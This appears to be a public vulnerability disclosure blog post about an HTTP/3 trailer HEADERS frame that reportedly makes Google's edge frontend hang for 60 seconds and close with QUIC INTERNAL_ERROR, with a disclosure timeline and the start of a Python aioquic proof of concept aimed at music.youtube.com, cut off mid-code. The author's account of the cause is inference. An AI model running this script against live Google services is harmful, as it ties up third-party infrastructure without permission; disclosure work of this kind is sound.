- What: A vulnerability in Google's HTTP/3 edge layer (ESF) triggered by a trailer HEADERS frame.
- Impact: Causes a 60-second hang and QUIC error.
π Learning Path & Metadata Level: Advanced Track Progression: HTTP/3 Protocol β QUIC Transport Layer β ESF Architecture β H3 State Machine β Responsible Disclosure Prerequisites: HTTP/3 and QUIC basics Python asyncio QUIC frame structure RFC 9114 / RFC 9000 HTTP/3 Trailer Frame Triggers Unhandled Exception in Google ESF # Background # Googleβs HTTP/3 edge layer, known internally as ESF (Edge Side Frontend), is the component responsible for terminating HTTP/3 connections on behalf of Google services and transcoding them toward origin servers. ESF sits in front of properties like music.youtube.com , www.youtube.com , and others. This post documents a bug in ESFβs HTTP/3 request stream state machine, triggered by sending an RFC 9114-compliant trailer HEADERS frame. The result is a deterministic 60-second hang followed by QUIC INTERNAL_ERROR (error code 0x0001) β the RFC-defined signal for an implementation error. This vulnerability was reported to Google VRP twice. Both submissions were closed by an automated system within minutes. Given that Google has explicitly decided not to track this as a security issue, I am publishing the full details and proof-of-concept here. Disclosure Timeline # August 7, 2026 β Report submitted to Google VRP (first submission) August 7, 2026 β Auto-closed within minutes, no human review August 9, 2026 β Second submission with expanded technical analysis, βOtherβ vulnerability category August 9, 2026 β Closed again within 2 minutes by automated system August 9, 2026 β Public disclosure What Is an HTTP/3 Trailer? # HTTP/3 (RFC 9114) allows a request to include a trailer section β a second HEADERS frame sent after the request body (DATA frame), carrying additional metadata. The structure of a request with trailers looks like this: Stream 0: HEADERS frame β request headers (END_STREAM=false) DATA frame β request body (END_STREAM=false) HEADERS frame β trailer headers (END_STREAM=true) β RFC 9114 Β§4.1 This is a defined, valid part of the HTTP/3 specification. A compliant server is expected to either accept the trailer or reject it with H3_MESSAGE_ERROR (0x010E) immediately. ESF does neither. The Bug # When ESF receives the trailer HEADERS frame on a request stream, its state machine fails to handle the transition. Instead of returning an error or forwarding the trailer, ESF enters a blocking state β a goroutine or processing thread stops making progress. The connection remains open. No response is sent. After approximately 60 seconds, ESF closes the connection with: QUIC CONNECTION_CLOSE Error code: 0x0001 (INTERNAL_ERROR) RFC 9000 Β§20.1 defines INTERNAL_ERROR explicitly: βThe endpoint encountered an internal error and cannot continue.β This is the QUIC error code reserved for implementation bugs β not for protocol violations by the client. The 60-second delay is consistent with a request context deadline expiring after a panic or unhandled exception in ESFβs Go runtime. A correctly handled error β even a strict rejection β completes in under 100ms. Cloudflare, for example, returns H3_MESSAGE_ERROR (0x010E) immediately on the same frame sequence. Proof of Concept # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #!/usr/bin/env python3 """ ESF HTTP/3 trailer crash β PoC Requirements: pip install aioquic Expected: QUIC INTERNAL_ERROR (0x0001) after ~60 seconds """ import asyncio , ssl , time from aioquic.asyncio import connect from aioquic.asyncio.protocol import QuicConnectionProtocol from aioquic.h3.connection import H3Connection from aioquic.h3.events import HeadersReceived , DataReceived from aioquic.quic.configuration import QuicConfiguration from aioquic.quic.events import ConnectionTerminated TARGET = "music.youtube.com" PORT = 443 BROWSE_BODY = ( b '{"context":{"client":{"clientName":"WEB_REMIX",' b '"clientVersion":"1.20240101.00.00","hl":"en"}},' b '"browseId":"FEmusic_home"}' ) REQ_HEADERS = [ ( b ":method" , b "POST" ), ( b ":scheme" , b "https" ), ( b ":authority" , b "music.youtube.com" ), ( b ":path" , b "/youtubei/v1/browse" ), ( b "content-type" , b "application/json" ), ( b "user-agent" , b "Mozilla/5.0 Chrome/120.0.0.0 Safari/537.36" ), ( b "accept" , b "*/*" ), ] TRAILER = [( b "x-trailer" , b "1" )] class TrailerClient ( QuicConnectionProtocol ): def __init__ ( self , * a , ** kw ): super () . __init__ ( * a , ** kw ) self . _h3 = H3Connection ( self . _quic ) self . _done = asyncio . Event () self . error_code = None self . terminated = False def quic_event_received ( self , event ): if isinstance ( event , ConnectionTerminated ): self . terminated = True self . error_code = event . error_code self . _done . set () return for e in self . _h3 . handle_event ( event ): if isinstance ( e , ( HeadersReceived , DataReceived )): if e . stream_ended : self . _done . set () async def run ( self ): sid = se...